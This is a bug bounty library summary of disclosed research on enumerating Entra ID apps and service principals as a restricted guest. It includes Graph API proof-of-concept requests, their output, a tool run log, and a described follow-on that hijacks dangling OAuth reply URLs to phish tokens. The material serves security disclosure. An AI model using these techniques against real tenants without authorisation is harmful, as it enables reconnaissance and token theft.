# Inside Cirro: Enumeration as a Restricted Guest

Restricted Entra ID guests can't list apps but can read app properties, so seeding known appIds and walking appRoleAssignedTo enumerates tenant applications and service principals.

- Payout: Research
- Severity: low
- Program: Microsoft
- Disclosed: 2026-11-12
- Write-up quality: 6/10
- Original: https://bishopfox.com/blog/inside-cirro-enumeration-as-a-restricted-guest
- Library page: https://bugbountylibrary.com/r/blog%3Abishopfox-com-blog-inside-cirro-enumeration-as-a-restricted-guest
- Tags: area:cloud domain:cloud impact:data-leak kind:research platform:research sev:low tech:azure tech:oauth technique:chained technique:recon vuln:access-control vuln:info-disclosure

**Target:** Microsoft Graph application/servicePrincipal endpoints
**Root cause:** Restricted guest settings block list operations on /applications and /servicePrincipals but still permit reading individual application/service principal properties and appRoleAssignedTo, allowing enumeration by iterating known appIds.
**Steps:**
1. Authenticate to tenant as guest under most restrictive guest settings
2. Confirm `GET /v1.0/applications` and `GET /v1.0/servicePrincipals` are denied
3. Seed with well-known appIds e.g. `00000003-0000-0000-c000-000000000000` (Microsoft Graph)
4. Query `GET /v1.0/servicePrincipals(appId='00000003-0000-0000-c000-000000000000')/appRoleAssignedTo` to get principalIds and principalTypes
5. Fetch each discovered service principal by object ID to read appId, appRoles, reply URLs, appOwnerOrganizationId
6. Iterate: query appRoleAssignedTo on each newly discovered appId to pivot to further apps/service principals
7. Optionally expand seed list from 18 to 1753 known appIds (EntraScopes) via `--restricted-guest-msapps`
**How found:** Noticed docs state restricted guests can still read application properties and permissions despite being unable to list them; hypothesized that known appIds could be used as seeds and that appRoleAssignedTo would leak principal IDs to pivot on.
**Exploitation:** Not directly exploited; described follow-on: identify multitenant apps open to any tenant, or apps with dangling reply URLs (e.g. `hxxps://cirroreplyurldemo.azurewebsites.net` returning NXDOMAIN and available for registration via Azure checknameavailability) to hijack OAuth redirect and phish access tokens in victim context.
**Escalation:** Enumeration pivots app-to-app via appRoleAssignedTo, revealing internal apps, OAuth grants and role assignments; dangling reply URL registration could yield token theft/zero- or one-click compromise.
**Insight:** When list endpoints are blocked but object-read endpoints aren't, treat publicly documented well-known IDs as enumeration seeds and use relationship endpoints (appRoleAssignedTo) as pivots to discover unlisted objects.

## Proof of concept (copied exactly from the original report)

**GET appRoleAssignedTo on Microsoft Graph appId**

```
nu ❯ http get -H $headers "https://graph.microsoft.com/be...(appId='00000003-0000-0000-c000-000000000000')/appRoleAssignedTo" -e | to json
{
 "@odata.context": "https://graph.microsoft.com/be...",
 "value": [
 {
 "id": "-bi-XDwkPEairBAO4oD4w-0yvZhiJhlCnHNbIeyGwAU",
 "deletedDateTime": null,
 "creationTimestamp": "2026-11-03T01:46:59.6990982Z",
 "appRoleId": "7ab1d382-f21e-4acd-a863-ba3e13f7da61",
 "principalDisplayName": "Graph AppRole Permission",
 "principalId": "5cbeb8f9-243c-463c-a2ac-100ee280f8c3",
 "principalType": "ServicePrincipal",
 "resourceDisplayName": "Microsoft Graph",
 "resourceId": "f791d148-43fa-495d-84c8-7d8593f14248"
 }
 ]
}
```

**GET service principal by object ID**

```
nu ❯ http get -H $headers "https://graph.microsoft.com/be..." -e | to json
{
 "@odata.context": "https://graph.microsoft.com/be...",
 "id": "5cbeb8f9-243c-463c-a2ac-100ee280f8c3",
 "deletedDateTime": null,
 "accountEnabled": true,
 "alternativeNames": [],
 "createdByAppId": "18ed3507-a475-4ccb-b669-d66bc9f2a36e",
 "createdDateTime": "2026-11-03T01:43:48Z",
 "deviceManagementAppType": null,
 "appDescription": null,
 "appDisplayName": "Graph AppRole Permission",
 "appId": "4efbc5fa-3d38-4fbc-92d1-c02f10094a9d",
 "applicationTemplateId": null,
 "appOwnerOrganizationId": "39c349ef-6874-44a6-be31-c4c198a86b66",
 "appRoles": [
 {
 "allowedMemberTypes": [
 "User",
 "Application"
 ],
 "description": "Dummy Permission Check",
 "displayName": "Permission Check",
 "id": "af122980-596c-41ef-b6e2-2702d5d0a52b",
 "isEnabled": true,
 "origin": "Application",
 "value": "Permission.Check.All",
 "isPreAuthorizationRequired": false,
 "isPrivate": false
 }
 ]
…omitted for brevity…
}
```

**Cirro restricted-guest enumeration command**

```
🌀 nu ❯ ~/repos/cirro/target/dist/cirro collect az access-token --token $token --restricted-guest
 ___ _
 / __| (_) _ _ _ _ ___
 | (__ | | | '_| | '_| / _ \
 \___| _|_|_ _|_|_ _|_|_ \___/
_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
[*] Using token with audience: https://graph.microsoft.com/
[*] Starting with Access Token credentials
[*] Using cloud: Public
[*] Using mode: Graph
[*] Using output: "cirro_output.db"
[*] Starting restricted-guest Graph enumeration with 18 application ID
seed(s)
[*] Enumerating 00000002-0000-0000-c000-000000000000: Windows Azure
Active Directory
[*] Enumerating 00000002-0000-0ff1-ce00-000000000000: Office 365
Exchange Online
[*] Enumerating 00000003-0000-0000-c000-000000000000: Microsoft Graph
[*] Enumerating 00000003-0000-0ff1-ce00-000000000000: Office 365
SharePoint Online
[*] Enumerating 00000004-0000-0ff1-ce00-000000000000: Skype for
Business Online
[*] Enumerating 00000007-0000-0000-c000-000000000000: Dataverse
[*] Enumerating 00000009-0000-0000-c000-000000000000: Power BI Service
[*] Enumerating 0000000a-0000-0000-c000-000000000000: Microsoft Intune
[*] Enumerating 04b07795-8ddb-461a-bbee-02f9e1bf7b46: Microsoft Azure
CLI
[*] Enumerating 1950a258-227b-4e31-a9cf-717495945fc2: Microsoft Azure
PowerShell
[*] Enumerating 1fec8e78-bce4-4aaf-ab1b-5451cc387264: Microsoft Teams
[*] Enumerating 499b84ac-1321-427f-aa17-267ca6975798: Azure DevOps
[*] Enumerating 797f4846-ba00-4fd7-ba43-dac1f8f63013: Windows Azure
Service Management API
[*] Enumerating c44b4083-3bb0-49c1-b47d-974e53cbdf3c: Azure Portal
[*] Enumerating cfa8b339-82a2-471a-a3c9-0fc0be7a4093: Azure Key Vault
[*] Enumerating d3590ed6-52b3-4102-aeff-aad2292ab01c: Microsoft Office
[*] Enumerating d4ebce55-015a-49b5-a083-c84d1797ae8c: Microsoft Intune
Enrollment
[*] Enumerating e406a681-f3d4-42a8-90b6-c2b029497af1: Azure Storage
[*] Restricted-guest Graph enumeration completed: 12 seed(s) found, 6
missing, 0 blocked; 14 service principal(s), 2 application(s), 3 OAuth
grant(s), 6 app-role assignment(s), 0 incomplete relationship(s), 0
unresolved service principal(s)
[*] All enumeration tasks completed
[*] Sending shutdown message to DB writer
[*] Done
```

